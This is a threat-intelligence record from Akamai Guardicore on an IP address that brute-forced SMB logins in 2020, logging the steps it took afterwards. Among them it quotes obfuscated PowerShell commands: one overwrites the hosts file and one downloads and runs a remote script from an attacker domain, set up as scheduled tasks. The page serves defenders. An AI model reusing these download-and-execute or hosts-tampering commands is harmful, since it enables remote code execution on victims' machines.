IP Address: 190.112.77.148Previously Malicious
IP Address: 190.112.77.148Previously Malicious
This IP address attempted an attack on a machine in our threat sensors network
|
Role |
Attacker, Scanner |
|
Services Targeted |
SMB |
|
Tags |
Scheduled Task Creation Successful SMB Login Service Creation Service Start Access Suspicious Domain CMD DNS Query PowerShell IDS - A Network Trojan was detected Service Deletion SMB SMB Brute Force File Operation By CMD Bulk Files Tampering |
|
Associated Attack Servers |
|
IP Address |
190.112.77.148 |
|
|
Domain |
- |
|
|
ISP |
Internet Para Todos - Gobierno de La Rioja |
|
|
Country |
Argentina |
|
|
WHOIS |
Created Date |
- |
|
Updated Date |
- |
|
|
Organization |
- |
|
|
First seen in Akamai Guardicore Segmentation |
2020-04-20 |
|
Last seen in Akamai Guardicore Segmentation |
2020-04-20 |
What is Akamai Guardicore SegmentationAkamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More
|
A user logged in using SMB from PUESTO1 with the following username: administrator - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt) |
SMB Brute Force Successful SMB Login |
|
IDS detected A Network Trojan was detected : Powershell Activity Over SMB - Likely Lateral Movement |
IDS - A Network Trojan was detected |
|
A user logged in using SMB from PUESTO1 with the following username: administrator - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) |
SMB Brute Force Successful SMB Login |
|
c:\windows\system32\services.exe installed and started |
Service Start Service Creation |
|
PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe 5 times |
|
|
Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: t.amxny.com, t.awcna.com and t.tr2q.com |
Access Suspicious Domain DNS Query |
|
The command line powershell -c "\"awcna\",\"tr2q\",\"amxny\"|foreach{[Net.Dns]::GetHostAddresses(\"t.$_.com\")[0].IPAddressToString+\" pLSTAEnGoXY.com\"|out-file -"encoding" as`ci`i c:\windows\system32\drivers\etc\hosts}" was scheduled to run by modifying C:\Windows\System32\Tasks\Rtsa1 |
|
|
The command line powershell -c "$v=\"ipco\";iex(ne`w-obj`ect net.webc`lient).\"down`load`string\"(\"http://pLSTAEnGoXY.com/$v.jsp?0.3\")" was scheduled to run by modifying C:\Windows\System32\Tasks\Rtsa2 |
|
|
Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: plstaengoxy.com 2 times |
Access Suspicious Domain DNS Query |
|
Process NetworkService Service Group attempted to access suspicious domains: t.amxny.com and t.awcna.com |
Access Suspicious Domain DNS Query |
|
Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: t.amxny.com, t.awcna.com and t.tr2q.com |
Access Suspicious Domain DNS Query |
|
Connection was closed due to timeout |
|
|
Process c:\windows\system32\windowspowershell\v1.0\powershell.exe performed bulk changes in {c:\windows\system32\config\systemprofile\appdata\local\microsoft\windows\powershell\commandanalysis} on 56 files |
Bulk Files Tampering |
© 2023 Akamai Technologies